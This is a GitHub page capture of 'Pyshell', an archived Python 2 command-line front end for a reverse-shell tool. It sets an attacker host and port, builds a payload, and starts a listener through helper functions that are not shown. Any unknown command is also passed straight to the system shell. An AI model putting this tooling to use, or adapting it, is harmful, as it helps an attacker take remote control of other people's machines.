This repository has been archived by the owner on Jul 9, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 34
/
Pyshell
executable file
·148 lines (146 loc) · 3.94 KB
/
Pyshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#!/usr/bin/env python2
import os, sys, subprocess,random
from time import sleep
from modules.pyshell import make_payload,make_connection
# Coded By : Khaled Nassar @knassar702
def slowprint1(s):
for c in s + '\n' :
sys.stdout.write(c)
sys.stdout.flush()
sleep(10. / 200)
def slowprint2(s):
for c in s + '\n':
sys.stdout.write(c)
sys.stdout.flush()
sleep(5. / 1000)
def slowprint3(s):
for c in s + '\n':
sys.stdout.write(c)
sys.stdout.flush()
sleep(10. / 350)
reload(sys)
sys.setdefaultencoding("utf-8")
END='\033[0m'
host = " "
port = " "
taf = '\033[5;49m'
code = "False"
name = " "
def re():
python = sys.executable
os.execl(python, python, * sys.argv)
curdir = os.getcwd()
def slowprint1(s):
for c in s + '\n' :
sys.stdout.write(c)
sys.stdout.flush()
sleep(10. / 200)
sleep(2)
os.system('clear')
def logo():
lo='''
____ _____ __ ____
/ __ \__ __/ ___// /_ ___ / / /
/ /_/ / / / /\__ \/ __ \/ _ \/ / /
/ ____/ /_/ /___/ / / / / __/ / /
/_/ \__, //____/_/ /_/\___/_/_/
/____/'''
print(lo)
print("""
\t %s[!] Beta [!] %s
\t [*] Versions : 1.0.4
\t [*] Coded By : Khaled Nassar @knassar702\n""") % (taf,END)
def help():
slowprint2("""
Commands :
set host : Change Your Host (Ex: set host IP)
set port : Change Your Port (Ex: set port 4444)
set name : Change Your Name Session and Payload
show options : Show [Host,Port,Name,Target,BG]
make : Make Your Payload
run : Start The Listener
""")
def main():
global port,host,name,payload,x
while True:
ask = raw_input('[*] User@Pyshell :~ ').lower()
if ask == "help":
help()
elif ask == 'banner':
os.system("clear")
logo()
main()
elif "exit" in ask:
sleep(0.5)
print("\nGood Bye :)\n")
sys.exit()
elif "set host" in ask:
host = ask.split()[-1]
print("Host => {}").format(host)
elif "set port" in ask:
try:
port = int(ask.split()[-1])
print("Port => {}").format(str(port))
except:
print(co.red+'[-] Error ..'+END)
sleep(0.2)
main()
elif "set name" in ask:
name = ask.split()[-1]
print ("Name => {}").format(name)
elif ask == "show options":
info=("\n[+] Your Host : %s\n[+] Your Port : %s\n[+] Session Name : %s\n") % (host,port,name)
slowprint2(info)
main()
elif ask == "make":
if host != " " and port != " " and name != " ":
slowprint1("[+] bulding Payload [+]")
os.chdir('payloads')
make_payload(host,port,name)
os.chdir('..')
sleep(2)
slowprint2("[+] Completed [+]\n[!] Seved in payloads File")
main()
else:
print("""
[!] Host : %s
[!] Port : %s
[!] Name : %s
""") % (host,port,name)
elif ask=='exploit' or ask=='run' or ask=='start':
if host != " " and port != " ":
try:
make_connection(host,port)
except OverflowError:
print ('[!] Long Port ..')
except KeyboardInterrupt:
print("[!] Clossing The Connection ")
sleep(1)
except socket.error:
print("[!] Connection is Clossed ")
sleep(1)
else:
print ("\n[!] Host : %s\n[!] Port : %s\n") % (host,port)
elif ask == "exit":
sys.exit()
else:
os.system(ask)
main()
def start():
try:
logo()
main()
except EOFError:
import sys,os,time
print("\n[!] Detect to exit . . .")
time.sleep(1)
print("\n[!] Good Bye\n")
sys.exit()
except KeyboardInterrupt:
import sys,os,time
print("\n[!] Detect to exit . . .")
time.sleep(1)
print("\n[!] Good Bye\n")
sys.exit()
if __name__ == "__main__":
start()